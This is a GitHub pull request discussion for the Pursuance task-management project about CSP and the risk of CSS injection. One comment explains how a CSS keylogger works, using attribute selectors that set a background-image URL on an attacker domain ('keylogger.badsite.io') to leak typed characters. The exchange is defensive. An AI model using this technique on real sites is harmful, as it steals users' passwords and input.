search

PursuanceProject / pursuance

Pursuance: end-to-end encrypted task management optimized for large numbers of volunteers. We are building a vast and formidable ecosystem of opposition to institutionalized injustice.
https://pursuanceproject.org/
Other
133 stars 15 forks source link

I 217 clear right filter #220

Closed 4xdk closed 6 years ago

4xdk commented 6 years ago

As per Issue 217 - https://github.com/PursuanceProject/pursuance/issues/217

elimisteve commented 6 years ago

@4xdk https://stackoverflow.com/a/718614

elimisteve commented 6 years ago

@4xdk See also https://stackoverflow.com/questions/30653698/csp-style-src-unsafe-inline-is-it-worth-it#31759553

elimisteve commented 6 years ago

I just watched https://m.youtube.com/watch?v=eb3suf4REyI , which provides some explicit examples of how CSS injections can lead to issues like data exfiltration from the page to another domain controlled by the attacker.

elimisteve commented 6 years ago

I need to better understand how this CSS keylogger works: https://no-csp-css-keylogger.badsite.io

4xdk commented 6 years ago

Looks like there's a whole bunch of css rules for the input values (value ending with aa, ab, ac, etc) which change the background image css rule to e.g. background-image: url("//keylogger.badsite.io/ab") initiating GET request and passing this data to be joined on the server.

Interesting thing about this is that it's not that reliable. Each request gets sent only once, so password such as "aaaa" sends info about "a" and "aa" being present, nothing about the latter 2 characters in it. Still, an issue of course.

4xdk commented 6 years ago

Gotcha, I meant to add padding on the field to avoid that but this sounds even better.